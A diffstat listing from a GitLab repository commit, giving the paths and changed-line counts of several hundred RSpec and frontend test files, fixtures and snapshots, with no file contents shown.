-rw-r--r--spec/controllers/projects/commit_controller_spec.rb98
-rw-r--r--spec/controllers/projects/cycle_analytics/events_controller_spec.rb2
-rw-r--r--spec/controllers/projects/design_management/designs/raw_images_controller_spec.rb12
-rw-r--r--spec/controllers/projects/design_management/designs/resized_image_controller_spec.rb1
-rw-r--r--spec/controllers/projects/discussions_controller_spec.rb4
-rw-r--r--spec/controllers/projects/environments_controller_spec.rb1
-rw-r--r--spec/controllers/projects/feature_flags_controller_spec.rb1
-rw-r--r--spec/controllers/projects/forks_controller_spec.rb45
-rw-r--r--spec/controllers/projects/group_links_controller_spec.rb11
-rw-r--r--spec/controllers/projects/imports_controller_spec.rb8
-rw-r--r--spec/controllers/projects/incidents_controller_spec.rb1
-rw-r--r--spec/controllers/projects/issues_controller_spec.rb68
-rw-r--r--spec/controllers/projects/jobs_controller_spec.rb1
-rw-r--r--spec/controllers/projects/labels_controller_spec.rb26
-rw-r--r--spec/controllers/projects/merge_requests/content_controller_spec.rb19
-rw-r--r--spec/controllers/projects/merge_requests/creations_controller_spec.rb32
-rw-r--r--spec/controllers/projects/merge_requests/drafts_controller_spec.rb2
-rw-r--r--spec/controllers/projects/merge_requests_controller_spec.rb49
-rw-r--r--spec/controllers/projects/milestones_controller_spec.rb12
-rw-r--r--spec/controllers/projects/notes_controller_spec.rb6
-rw-r--r--spec/controllers/projects/performance_monitoring/dashboards_controller_spec.rb1
-rw-r--r--spec/controllers/projects/pipelines_controller_spec.rb64
-rw-r--r--spec/controllers/projects/pipelines_settings_controller_spec.rb1
-rw-r--r--spec/controllers/projects/project_members_controller_spec.rb8
-rw-r--r--spec/controllers/projects/raw_controller_spec.rb1
-rw-r--r--spec/controllers/projects/registry/repositories_controller_spec.rb58
-rw-r--r--spec/controllers/projects/registry/tags_controller_spec.rb7
-rw-r--r--spec/controllers/projects/releases/evidences_controller_spec.rb3
-rw-r--r--spec/controllers/projects/releases_controller_spec.rb1
-rw-r--r--spec/controllers/projects/repositories_controller_spec.rb22
-rw-r--r--spec/controllers/projects/runners_controller_spec.rb4
-rw-r--r--spec/controllers/projects/services_controller_spec.rb34
-rw-r--r--spec/controllers/projects/settings/access_tokens_controller_spec.rb23
-rw-r--r--spec/controllers/projects/settings/ci_cd_controller_spec.rb1
-rw-r--r--spec/controllers/projects/settings/operations_controller_spec.rb1
-rw-r--r--spec/controllers/projects/snippets_controller_spec.rb4
-rw-r--r--spec/controllers/projects/starrers_controller_spec.rb2
-rw-r--r--spec/controllers/projects/static_site_editor_controller_spec.rb1
-rw-r--r--spec/controllers/projects/todos_controller_spec.rb1
-rw-r--r--spec/controllers/projects/uploads_controller_spec.rb2
-rw-r--r--spec/controllers/projects_controller_spec.rb30
-rw-r--r--spec/controllers/registrations/welcome_controller_spec.rb22
-rw-r--r--spec/controllers/root_controller_spec.rb20
-rw-r--r--spec/controllers/sessions_controller_spec.rb14
-rw-r--r--spec/db/schema_spec.rb7
-rw-r--r--spec/deprecation_toolkit_env.rb8
-rw-r--r--spec/experiments/application_experiment_spec.rb2
-rw-r--r--spec/experiments/members/invite_email_experiment_spec.rb69
-rw-r--r--spec/experiments/new_project_readme_experiment_spec.rb4
-rw-r--r--spec/experiments/strategy/round_robin_spec.rb68
-rw-r--r--spec/factories/atlassian_identities.rb2
-rw-r--r--spec/factories/bulk_import/trackers.rb14
-rw-r--r--spec/factories/ci/builds.rb15
-rw-r--r--spec/factories/ci/pipeline_artifacts.rb16
-rw-r--r--spec/factories/ci/reports/codequality_degradations.rb43
-rw-r--r--spec/factories/ci/test_case.rb8
-rw-r--r--spec/factories/ci/test_case_failure.rb9
-rw-r--r--spec/factories/ci/unit_test.rb10
-rw-r--r--spec/factories/ci/unit_test_failure.rb9
-rw-r--r--spec/factories/clusters/applications/helm.rb79
-rw-r--r--spec/factories/clusters/integrations/prometheus.rb12
-rw-r--r--spec/factories/draft_note.rb17
-rw-r--r--spec/factories/events.rb11
-rw-r--r--spec/factories/git_wiki_commit_details.rb2
-rw-r--r--spec/factories/gitaly/commit.rb4
-rw-r--r--spec/factories/gitlab/database/background_migration/batched_migrations.rb1
-rw-r--r--spec/factories/group_group_links.rb4
-rw-r--r--spec/factories/import_export_uploads.rb2
-rw-r--r--spec/factories/packages.rb8
-rw-r--r--spec/factories/packages/package_file.rb26
-rw-r--r--spec/factories/sequences.rb1
-rw-r--r--spec/factories/services.rb8
-rw-r--r--spec/factories/subscriptions.rb6
-rw-r--r--spec/factories/timelogs.rb19
-rw-r--r--spec/factories/users/in_product_marketing_email.rb10
-rw-r--r--spec/factories_spec.rb14
-rw-r--r--spec/features/admin/admin_abuse_reports_spec.rb2
-rw-r--r--spec/features/admin/admin_appearance_spec.rb2
-rw-r--r--spec/features/admin/admin_groups_spec.rb45
-rw-r--r--spec/features/admin/admin_labels_spec.rb6
-rw-r--r--spec/features/admin/admin_mode/login_spec.rb2
-rw-r--r--spec/features/admin/admin_mode/logout_spec.rb2
-rw-r--r--spec/features/admin/admin_mode_spec.rb8
-rw-r--r--spec/features/admin/admin_runners_spec.rb30
-rw-r--r--spec/features/admin/admin_search_settings_spec.rb6
-rw-r--r--spec/features/admin/admin_sees_project_statistics_spec.rb2
-rw-r--r--spec/features/admin/admin_sees_projects_statistics_spec.rb2
-rw-r--r--spec/features/admin/admin_settings_spec.rb18
-rw-r--r--spec/features/admin/admin_users_impersonation_tokens_spec.rb2
-rw-r--r--spec/features/admin/services/admin_activates_prometheus_spec.rb24
-rw-r--r--spec/features/admin/services/admin_visits_service_templates_spec.rb44
-rw-r--r--spec/features/alerts_settings/user_views_alerts_settings_spec.rb2
-rw-r--r--spec/features/boards/add_issues_modal_spec.rb270
-rw-r--r--spec/features/boards/boards_spec.rb94
-rw-r--r--spec/features/boards/focus_mode_spec.rb4
-rw-r--r--spec/features/boards/modal_filter_spec.rb228
-rw-r--r--spec/features/boards/multi_select_spec.rb4
-rw-r--r--spec/features/boards/multiple_boards_spec.rb1
-rw-r--r--spec/features/boards/new_issue_spec.rb34
-rw-r--r--spec/features/boards/reload_boards_on_browser_back_spec.rb4
-rw-r--r--spec/features/boards/sidebar_assignee_spec.rb122
-rw-r--r--spec/features/boards/sidebar_due_date_spec.rb46
-rw-r--r--spec/features/boards/sidebar_labels_spec.rb166
-rw-r--r--spec/features/boards/sidebar_milestones_spec.rb65
-rw-r--r--spec/features/boards/sidebar_spec.rb403
-rw-r--r--spec/features/boards/sub_group_project_spec.rb3
-rw-r--r--spec/features/boards/user_adds_lists_to_board_spec.rb11
-rw-r--r--spec/features/calendar_spec.rb4
-rw-r--r--spec/features/callouts/service_templates_deprecation_spec.rb59
-rw-r--r--spec/features/clusters/cluster_detail_page_spec.rb6
-rw-r--r--spec/features/clusters/cluster_health_dashboard_spec.rb2
-rw-r--r--spec/features/commits_spec.rb2
-rw-r--r--spec/features/dashboard/active_tab_spec.rb2
-rw-r--r--spec/features/dashboard/datetime_on_tooltips_spec.rb2
-rw-r--r--spec/features/dashboard/group_dashboard_with_external_authorization_service_spec.rb2
-rw-r--r--spec/features/dashboard/issuables_counter_spec.rb4
-rw-r--r--spec/features/dashboard/milestones_spec.rb2
-rw-r--r--spec/features/dashboard/project_member_activity_index_spec.rb2
-rw-r--r--spec/features/dashboard/projects_spec.rb23
-rw-r--r--spec/features/dashboard/shortcuts_spec.rb6
-rw-r--r--spec/features/discussion_comments/merge_request_spec.rb2
-rw-r--r--spec/features/error_pages_spec.rb9
-rw-r--r--spec/features/error_tracking/user_filters_errors_by_status_spec.rb1
-rw-r--r--spec/features/error_tracking/user_searches_sentry_errors_spec.rb1
-rw-r--r--spec/features/error_tracking/user_sees_error_index_spec.rb3
-rw-r--r--spec/features/file_uploads/attachment_spec.rb44
-rw-r--r--spec/features/file_uploads/maven_package_spec.rb21
-rw-r--r--spec/features/file_uploads/nuget_package_spec.rb4
-rw-r--r--spec/features/file_uploads/rubygem_package_spec.rb45
-rw-r--r--spec/features/frequently_visited_projects_and_groups_spec.rb2
-rw-r--r--spec/features/gitlab_experiments_spec.rb44
-rw-r--r--spec/features/groups/board_spec.rb2
-rw-r--r--spec/features/groups/clusters/user_spec.rb2
-rw-r--r--spec/features/groups/group_page_with_external_authorization_service_spec.rb4
-rw-r--r--spec/features/groups/group_settings_spec.rb2
-rw-r--r--spec/features/groups/issues_spec.rb2
-rw-r--r--spec/features/groups/labels/index_spec.rb2
-rw-r--r--spec/features/groups/members/master_adds_member_with_expiration_date_spec.rb1
-rw-r--r--spec/features/groups/members/request_access_spec.rb2
-rw-r--r--spec/features/groups/merge_requests_spec.rb2
-rw-r--r--spec/features/groups/milestone_spec.rb6
-rw-r--r--spec/features/groups/navbar_spec.rb6
-rw-r--r--spec/features/groups/settings/user_searches_in_settings_spec.rb23
-rw-r--r--spec/features/groups_spec.rb66
-rw-r--r--spec/features/ide/clientside_preview_csp_spec.rb10
-rw-r--r--spec/features/import/manifest_import_spec.rb11
-rw-r--r--spec/features/invites_spec.rb17
-rw-r--r--spec/features/issues/bulk_assignment_labels_spec.rb4
-rw-r--r--spec/features/issues/create_issue_for_discussions_in_merge_request_spec.rb6
-rw-r--r--spec/features/issues/create_issue_for_single_discussion_in_merge_request_spec.rb6
-rw-r--r--spec/features/issues/form_spec.rb2
-rw-r--r--spec/features/issues/gfm_autocomplete_spec.rb984
-rw-r--r--spec/features/issues/issue_sidebar_spec.rb215
-rw-r--r--spec/features/issues/markdown_toolbar_spec.rb28
-rw-r--r--spec/features/issues/note_polling_spec.rb2
-rw-r--r--spec/features/issues/spam_issues_spec.rb22
-rw-r--r--spec/features/issues/user_comments_on_issue_spec.rb18
-rw-r--r--spec/features/issues/user_creates_branch_and_merge_request_spec.rb2
-rw-r--r--spec/features/issues/user_creates_confidential_merge_request_spec.rb2
-rw-r--r--spec/features/issues/user_creates_issue_spec.rb10
-rw-r--r--spec/features/issues/user_edits_issue_spec.rb198
-rw-r--r--spec/features/issues/user_filters_issues_spec.rb2
-rw-r--r--spec/features/issues/user_interacts_with_awards_spec.rb4
-rw-r--r--spec/features/issues/user_invites_from_a_comment_spec.rb25
-rw-r--r--spec/features/issues/user_sees_live_update_spec.rb2
-rw-r--r--spec/features/issues/user_sees_sidebar_updates_in_realtime_spec.rb5
-rw-r--r--spec/features/issues/user_sorts_issues_spec.rb46
-rw-r--r--spec/features/markdown/markdown_spec.rb11
-rw-r--r--spec/features/merge_request/batch_comments_spec.rb120
-rw-r--r--spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb2
-rw-r--r--spec/features/merge_request/user_awards_emoji_spec.rb29
-rw-r--r--spec/features/merge_request/user_creates_merge_request_spec.rb6
-rw-r--r--spec/features/merge_request/user_invites_from_a_comment_spec.rb25
-rw-r--r--spec/features/merge_request/user_posts_notes_spec.rb8
-rw-r--r--spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb32
-rw-r--r--spec/features/merge_request/user_sees_breadcrumb_links_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb38
-rw-r--r--spec/features/merge_request/user_sees_merge_widget_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_mini_pipeline_graph_spec.rb6
-rw-r--r--spec/features/merge_request/user_sees_notes_from_forked_project_spec.rb4
-rw-r--r--spec/features/merge_request/user_sees_pipelines_spec.rb12
-rw-r--r--spec/features/merge_request/user_selects_branches_for_new_mr_spec.rb4
-rw-r--r--spec/features/merge_request/user_squashes_merge_request_spec.rb4
-rw-r--r--spec/features/merge_request/user_views_open_merge_request_spec.rb2
-rw-r--r--spec/features/milestones/user_creates_milestone_spec.rb2
-rw-r--r--spec/features/milestones/user_views_milestone_spec.rb4
-rw-r--r--spec/features/milestones/user_views_milestones_spec.rb3
-rw-r--r--spec/features/participants_autocomplete_spec.rb44
-rw-r--r--spec/features/profiles/emails_spec.rb8
-rw-r--r--spec/features/profiles/password_spec.rb2
-rw-r--r--spec/features/profiles/personal_access_tokens_spec.rb2
-rw-r--r--spec/features/profiles/user_edit_profile_spec.rb8
-rw-r--r--spec/features/profiles/user_search_settings_spec.rb6
-rw-r--r--spec/features/projects/active_tabs_spec.rb2
-rw-r--r--spec/features/projects/blobs/blob_line_permalink_updater_spec.rb22
-rw-r--r--spec/features/projects/blobs/user_views_pipeline_editor_button_spec.rb42
-rw-r--r--spec/features/projects/branches/user_creates_branch_spec.rb4
-rw-r--r--spec/features/projects/branches/user_deletes_branch_spec.rb9
-rw-r--r--spec/features/projects/branches_spec.rb29
-rw-r--r--spec/features/projects/clusters/gcp_spec.rb2
-rw-r--r--spec/features/projects/clusters/user_spec.rb2
-rw-r--r--spec/features/projects/clusters_spec.rb4
-rw-r--r--spec/features/projects/commit/cherry_pick_spec.rb13
-rw-r--r--spec/features/projects/commit/comments/user_edits_comments_spec.rb2
-rw-r--r--spec/features/projects/commit/mini_pipeline_graph_spec.rb50
-rw-r--r--spec/features/projects/commit/user_reverts_commit_spec.rb17
-rw-r--r--spec/features/projects/commits/user_browses_commits_spec.rb9
-rw-r--r--spec/features/projects/features_visibility_spec.rb2
-rw-r--r--spec/features/projects/files/gitlab_ci_yml_dropdown_spec.rb42
-rw-r--r--spec/features/projects/files/user_creates_directory_spec.rb2
-rw-r--r--spec/features/projects/files/user_uploads_files_spec.rb35
-rw-r--r--spec/features/projects/fork_spec.rb48
-rw-r--r--spec/features/projects/jobs/permissions_spec.rb2
-rw-r--r--spec/features/projects/jobs/user_browses_jobs_spec.rb9
-rw-r--r--spec/features/projects/jobs_spec.rb5
-rw-r--r--spec/features/projects/labels/user_removes_labels_spec.rb10
-rw-r--r--spec/features/projects/members/list_spec.rb2
-rw-r--r--spec/features/projects/members/user_requests_access_spec.rb2
-rw-r--r--spec/features/projects/merge_request_button_spec.rb4
-rw-r--r--spec/features/projects/navbar_spec.rb4
-rw-r--r--spec/features/projects/new_project_spec.rb66
-rw-r--r--spec/features/projects/pages/user_edits_settings_spec.rb1
-rw-r--r--spec/features/projects/pipelines/pipeline_spec.rb10
-rw-r--r--spec/features/projects/pipelines/pipelines_spec.rb89
-rw-r--r--spec/features/projects/releases/user_views_edit_release_spec.rb2
-rw-r--r--spec/features/projects/releases/user_views_release_spec.rb43
-rw-r--r--spec/features/projects/remote_mirror_spec.rb4
-rw-r--r--spec/features/projects/services/disable_triggers_spec.rb4
-rw-r--r--spec/features/projects/services/user_activates_asana_spec.rb2
-rw-r--r--spec/features/projects/services/user_activates_atlassian_bamboo_ci_spec.rb11
-rw-r--r--spec/features/projects/services/user_activates_hipchat_spec.rb40
-rw-r--r--spec/features/projects/services/user_activates_jetbrains_teamcity_ci_spec.rb6
-rw-r--r--spec/features/projects/services/user_activates_jira_spec.rb71
-rw-r--r--spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb2
-rw-r--r--spec/features/projects/services/user_activates_pushover_spec.rb2
-rw-r--r--spec/features/projects/services/user_activates_slack_notifications_spec.rb2
-rw-r--r--spec/features/projects/services/user_views_services_spec.rb4
-rw-r--r--spec/features/projects/settings/access_tokens_spec.rb106
-rw-r--r--spec/features/projects/settings/forked_project_settings_spec.rb5
-rw-r--r--spec/features/projects/settings/operations_settings_spec.rb2
-rw-r--r--spec/features/projects/settings/registry_settings_spec.rb4
-rw-r--r--spec/features/projects/settings/user_manages_merge_requests_settings_spec.rb34
-rw-r--r--spec/features/projects/settings/user_searches_in_settings_spec.rb44
-rw-r--r--spec/features/projects/settings/user_sees_revoke_deploy_token_modal_spec.rb8
-rw-r--r--spec/features/projects/show/user_sees_deletion_failure_message_spec.rb2
-rw-r--r--spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb5
-rw-r--r--spec/features/projects/show/user_uploads_files_spec.rb12
-rw-r--r--spec/features/projects/snippets/user_comments_on_snippet_spec.rb1
-rw-r--r--spec/features/projects/sub_group_issuables_spec.rb10
-rw-r--r--spec/features/projects/user_sees_sidebar_spec.rb2
-rw-r--r--spec/features/projects/user_sees_user_popover_spec.rb2
-rw-r--r--spec/features/projects/user_uses_shortcuts_spec.rb2
-rw-r--r--spec/features/projects_spec.rb20
-rw-r--r--spec/features/protected_branches_spec.rb12
-rw-r--r--spec/features/registrations/welcome_spec.rb21
-rw-r--r--spec/features/runners_spec.rb16
-rw-r--r--spec/features/search/user_uses_header_search_field_spec.rb2
-rw-r--r--spec/features/security/project/internal_access_spec.rb12
-rw-r--r--spec/features/security/project/private_access_spec.rb14
-rw-r--r--spec/features/security/project/public_access_spec.rb12
-rw-r--r--spec/features/snippets/notes_on_personal_snippets_spec.rb3
-rw-r--r--spec/features/users/anonymous_sessions_spec.rb2
-rw-r--r--spec/features/users/login_spec.rb6
-rw-r--r--spec/features/users/show_spec.rb6
-rw-r--r--spec/features/users/terms_spec.rb2
-rw-r--r--spec/features/whats_new_spec.rb62
-rw-r--r--spec/finders/applications_finder_spec.rb40
-rw-r--r--spec/finders/ci/variables_finder_spec.rb65
-rw-r--r--spec/finders/concerns/finder_with_group_hierarchy_spec.rb112
-rw-r--r--spec/finders/concerns/packages/finder_helper_spec.rb209
-rw-r--r--spec/finders/design_management/designs_finder_spec.rb1
-rw-r--r--spec/finders/design_management/versions_finder_spec.rb1
-rw-r--r--spec/finders/environments_by_deployments_finder_spec.rb127
-rw-r--r--spec/finders/environments_finder_spec.rb126
-rw-r--r--spec/finders/group_members_finder_spec.rb282
-rw-r--r--spec/finders/issues_finder_spec.rb18
-rw-r--r--spec/finders/merge_requests/oldest_per_commit_finder_spec.rb39
-rw-r--r--spec/finders/merge_requests_finder_spec.rb12
-rw-r--r--spec/finders/metrics/dashboards/annotations_finder_spec.rb1
-rw-r--r--spec/finders/metrics/users_starred_dashboards_finder_spec.rb1
-rw-r--r--spec/finders/notes_finder_spec.rb18
-rw-r--r--spec/finders/packages/go/package_finder_spec.rb71
-rw-r--r--spec/finders/packages/maven/package_finder_spec.rb157
-rw-r--r--spec/finders/pending_todos_finder_spec.rb12
-rw-r--r--spec/finders/projects_finder_spec.rb6
-rw-r--r--spec/finders/repositories/branch_names_finder_spec.rb25
-rw-r--r--spec/finders/repositories/changelog_tag_finder_spec.rb54
-rw-r--r--spec/finders/repositories/previous_tag_finder_spec.rb45
-rw-r--r--spec/finders/user_group_notification_settings_finder_spec.rb33
-rw-r--r--spec/fixtures/api/schemas/entities/member.json2
-rw-r--r--spec/fixtures/api/schemas/entities/member_user.json3
-rw-r--r--spec/fixtures/api/schemas/external_validation.json15
-rw-r--r--spec/fixtures/api/schemas/graphql/packages/package_conan_metadata.json37
-rw-r--r--spec/fixtures/api/schemas/graphql/packages/package_details.json36
-rw-r--r--spec/fixtures/api/schemas/public_api/v4/user/public.json3
-rw-r--r--spec/fixtures/ce_sample_schema.json (renamed from qa/qa/specs/features/api/4_verify/.gitkeep)0
-rw-r--r--spec/fixtures/config/mail_room_enabled_ms_graph.yml26
-rw-r--r--spec/fixtures/emails/update_commands_only.eml22
-rw-r--r--spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml21
-rw-r--r--spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml22
-rw-r--r--spec/fixtures/lib/gitlab/performance_bar/peek_data.json2
-rw-r--r--spec/fixtures/packages/rubygems/package-0.0.1.gembin4096 -> 4608 bytes
-rw-r--r--spec/fixtures/packages/rubygems/package.gembin0 -> 4608 bytes
-rw-r--r--spec/fixtures/packages/rubygems/package.gemspec47
-rw-r--r--spec/fixtures/security_reports/master/gl-sast-report.json945
-rw-r--r--spec/fixtures/unsafe_javascript.xml10
-rw-r--r--spec/frontend/__helpers__/experimentation_helper.js13
-rw-r--r--spec/frontend/__helpers__/mock_apollo_helper.js12
-rw-r--r--spec/frontend/__helpers__/vue_test_utils_helper.js73
-rw-r--r--spec/frontend/__helpers__/vue_test_utils_helper_spec.js208
-rw-r--r--spec/frontend/__helpers__/web_worker_fake.js71
-rw-r--r--spec/frontend/__helpers__/web_worker_mock.js10
-rw-r--r--spec/frontend/__helpers__/web_worker_transformer.js18
-rw-r--r--spec/frontend/__mocks__/vue/index.js7
-rw-r--r--spec/frontend/access_tokens/index_spec.js20
-rw-r--r--spec/frontend/admin/signup_restrictions/components/signup_checkbox_spec.js66
-rw-r--r--spec/frontend/admin/signup_restrictions/components/signup_form_spec.js331
-rw-r--r--spec/frontend/admin/signup_restrictions/mock_data.js41
-rw-r--r--spec/frontend/admin/signup_restrictions/utils.js19
-rw-r--r--spec/frontend/admin/signup_restrictions/utils_spec.js22
-rw-r--r--spec/frontend/admin/users/components/user_date_spec.js2
-rw-r--r--spec/frontend/admin/users/components/users_table_spec.js2
-rw-r--r--spec/frontend/admin/users/new_spec.js76
-rw-r--r--spec/frontend/alerts_settings/components/__snapshots__/alerts_settings_form_spec.js.snap524
-rw-r--r--spec/frontend/alerts_settings/components/alerts_settings_form_spec.js258
-rw-r--r--spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js120
-rw-r--r--spec/frontend/analytics/usage_trends/components/app_spec.js2
-rw-r--r--spec/frontend/api_spec.js68
-rw-r--r--spec/frontend/batch_comments/components/preview_item_spec.js12
-rw-r--r--spec/frontend/behaviors/markdown/render_mermaid_spec.js25
-rw-r--r--spec/frontend/behaviors/shortcuts/shortcuts_issuable_spec.js2
-rw-r--r--spec/frontend/blob/file_template_selector_spec.js61
-rw-r--r--spec/frontend/boards/board_card_inner_spec.js87
-rw-r--r--spec/frontend/boards/board_new_issue_deprecated_spec.js16
-rw-r--r--spec/frontend/boards/components/__snapshots__/board_blocked_icon_spec.js.snap30
-rw-r--r--spec/frontend/boards/components/board_add_new_column_form_spec.js32
-rw-r--r--spec/frontend/boards/components/board_add_new_column_spec.js10
-rw-r--r--spec/frontend/boards/components/board_blocked_icon_spec.js226
-rw-r--r--spec/frontend/boards/components/board_content_sidebar_spec.js140
-rw-r--r--spec/frontend/boards/components/board_content_spec.js13
-rw-r--r--spec/frontend/boards/components/board_form_spec.js2
-rw-r--r--spec/frontend/boards/components/board_new_issue_spec.js6
-rw-r--r--spec/frontend/boards/components/board_settings_sidebar_spec.js43
-rw-r--r--spec/frontend/boards/components/filtered_search_spec.js65
-rw-r--r--spec/frontend/boards/components/issue_time_estimate_spec.js6
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_issue_title_spec.js182
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js14
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js28
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_time_tracker_spec.js58
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_title_spec.js182
-rw-r--r--spec/frontend/boards/mock_data.js130
-rw-r--r--spec/frontend/boards/modal_store_spec.js134
-rw-r--r--spec/frontend/boards/stores/actions_spec.js708
-rw-r--r--spec/frontend/boards/stores/getters_spec.js41
-rw-r--r--spec/frontend/boards/stores/mutations_spec.js239
-rw-r--r--spec/frontend/branches/components/sort_dropdown_spec.js91
-rw-r--r--spec/frontend/captcha/apollo_captcha_link_spec.js165
-rw-r--r--spec/frontend/cascading_settings/components/lock_popovers_spec.js152
-rw-r--r--spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js43
-rw-r--r--spec/frontend/ci_variable_list/components/ci_variable_table_spec.js14
-rw-r--r--spec/frontend/clusters/components/application_row_spec.js6
-rw-r--r--spec/frontend/clusters/services/application_state_machine_spec.js30
-rw-r--r--spec/frontend/content_editor/components/content_editor_spec.js26
-rw-r--r--spec/frontend/content_editor/markdown_processing_examples.js19
-rw-r--r--spec/frontend/content_editor/markdown_processing_spec.js12
-rw-r--r--spec/frontend/content_editor/services/create_editor_spec.js39
-rw-r--r--spec/frontend/contributors/component/__snapshots__/contributors_spec.js.snap17
-rw-r--r--spec/frontend/create_merge_request_dropdown_spec.js18
-rw-r--r--spec/frontend/cycle_analytics/banner_spec.js46
-rw-r--r--spec/frontend/cycle_analytics/total_time_component_spec.js34
-rw-r--r--spec/frontend/delete_label_modal_spec.js83
-rw-r--r--spec/frontend/deploy_freeze/components/deploy_freeze_modal_spec.js71
-rw-r--r--spec/frontend/deploy_freeze/components/deploy_freeze_table_spec.js24
-rw-r--r--spec/frontend/deploy_freeze/store/actions_spec.js82
-rw-r--r--spec/frontend/deploy_freeze/store/mutations_spec.js15
-rw-r--r--spec/frontend/deploy_tokens/components/revoke_button_spec.js108
-rw-r--r--spec/frontend/design_management/components/toolbar/__snapshots__/design_navigation_spec.js.snap2
-rw-r--r--spec/frontend/design_management/components/toolbar/__snapshots__/index_spec.js.snap1
-rw-r--r--spec/frontend/design_management/components/upload/__snapshots__/button_spec.js.snap8
-rw-r--r--spec/frontend/diffs/components/app_spec.js34
-rw-r--r--spec/frontend/diffs/components/commit_item_spec.js130
-rw-r--r--spec/frontend/diffs/components/compare_versions_spec.js135
-rw-r--r--spec/frontend/diffs/components/diff_row_spec.js17
-rw-r--r--spec/frontend/diffs/components/inline_diff_table_row_spec.js13
-rw-r--r--spec/frontend/diffs/components/parallel_diff_table_row_spec.js23
-rw-r--r--spec/frontend/diffs/create_diffs_store.js2
-rw-r--r--spec/frontend/diffs/find_interop_attributes.js20
-rw-r--r--spec/frontend/diffs/store/actions_spec.js47
-rw-r--r--spec/frontend/diffs/store/getters_spec.js44
-rw-r--r--spec/frontend/diffs/store/mutations_spec.js14
-rw-r--r--spec/frontend/diffs/utils/interoperability_spec.js67
-rw-r--r--spec/frontend/editor/editor_lite_extension_base_spec.js271
-rw-r--r--spec/frontend/emoji/awards_app/store/actions_spec.js155
-rw-r--r--spec/frontend/emoji/awards_app/store/mutations_spec.js65
-rw-r--r--spec/frontend/environments/enable_review_app_modal_spec.js23
-rw-r--r--spec/frontend/error_tracking/components/error_tracking_list_spec.js1
-rw-r--r--spec/frontend/error_tracking_settings/components/error_tracking_form_spec.js12
-rw-r--r--spec/frontend/error_tracking_settings/store/getters_spec.js4
-rw-r--r--spec/frontend/experimentation/components/experiment_spec.js72
-rw-r--r--spec/frontend/experimentation/utils_spec.js101
-rw-r--r--spec/frontend/feature_flags/components/form_spec.js4
-rw-r--r--spec/frontend/feature_highlight/feature_highlight_popover_spec.js1
-rw-r--r--spec/frontend/fixtures/api_markdown.rb34
-rw-r--r--spec/frontend/fixtures/api_markdown.yml50
-rw-r--r--spec/frontend/fixtures/autocomplete.rb41
-rw-r--r--spec/frontend/fixtures/issues.rb2
-rw-r--r--spec/frontend/fixtures/merge_requests_diffs.rb20
-rw-r--r--spec/frontend/fixtures/static/mini_dropdown_graph.html13
-rw-r--r--spec/frontend/fixtures/static/whats_new_notification.html2
-rw-r--r--spec/frontend/flash_spec.js62
-rw-r--r--spec/frontend/gfm_auto_complete_spec.js35
-rw-r--r--spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap2
-rw-r--r--spec/frontend/ide/components/cannot_push_code_alert_spec.js72
-rw-r--r--spec/frontend/ide/components/commit_sidebar/form_spec.js6
-rw-r--r--spec/frontend/ide/components/ide_spec.js28
-rw-r--r--spec/frontend/ide/stores/getters_spec.js126
-rw-r--r--spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap4
-rw-r--r--spec/frontend/integrations/edit/components/dynamic_field_spec.js11
-rw-r--r--spec/frontend/integrations/edit/components/jira_issues_fields_spec.js49
-rw-r--r--spec/frontend/integrations/edit/components/jira_trigger_fields_spec.js106
-rw-r--r--spec/frontend/integrations/edit/components/jira_upgrade_cta_spec.js30
-rw-r--r--spec/frontend/integrations/edit/components/trigger_fields_spec.js4
-rw-r--r--spec/frontend/integrations/index/components/integrations_list_spec.js26
-rw-r--r--spec/frontend/integrations/index/components/integrations_table_spec.js53
-rw-r--r--spec/frontend/integrations/index/mock_data.js50
-rw-r--r--spec/frontend/invite_member/components/invite_member_modal_spec.js2
-rw-r--r--spec/frontend/invite_member/components/invite_member_trigger_spec.js2
-rw-r--r--spec/frontend/invite_members/components/invite_members_modal_spec.js48
-rw-r--r--spec/frontend/invite_members/components/invite_members_trigger_spec.js82
-rw-r--r--spec/frontend/issuable/components/csv_export_modal_spec.js6
-rw-r--r--spec/frontend/issuable/components/csv_import_export_buttons_spec.js9
-rw-r--r--spec/frontend/issuable_list/components/issuable_list_root_spec.js124
-rw-r--r--spec/frontend/issuable_list/components/issuable_tabs_spec.js15
-rw-r--r--spec/frontend/issuable_list/mock_data.js2
-rw-r--r--spec/frontend/issuable_show/mock_data.js1
-rw-r--r--spec/frontend/issuable_type_selector/components/__snapshots__/info_popover_spec.js.snap52
-rw-r--r--spec/frontend/issuable_type_selector/components/info_popover_spec.js20
-rw-r--r--spec/frontend/issue_show/components/edit_actions_spec.js8
-rw-r--r--spec/frontend/issues_list/components/issues_list_app_spec.js540
-rw-r--r--spec/frontend/jira_connect/api_spec.js17
-rw-r--r--spec/frontend/jira_connect/components/__snapshots__/group_item_name_spec.js.snap44
-rw-r--r--spec/frontend/jira_connect/components/app_spec.js30
-rw-r--r--spec/frontend/jira_connect/components/group_item_name_spec.js28
-rw-r--r--spec/frontend/jira_connect/components/groups_list_item_spec.js57
-rw-r--r--spec/frontend/jira_connect/components/groups_list_spec.js103
-rw-r--r--spec/frontend/jira_connect/components/subscriptions_list_spec.js122
-rw-r--r--spec/frontend/jira_connect/index_spec.js34
-rw-r--r--spec/frontend/jira_connect/mock_data.js6
-rw-r--r--spec/frontend/jira_connect/utils_spec.js114
-rw-r--r--spec/frontend/jobs/components/commit_block_spec.js105
-rw-r--r--spec/frontend/jobs/components/job_sidebar_details_container_spec.js15
-rw-r--r--spec/frontend/jobs/components/manual_variables_form_spec.js153
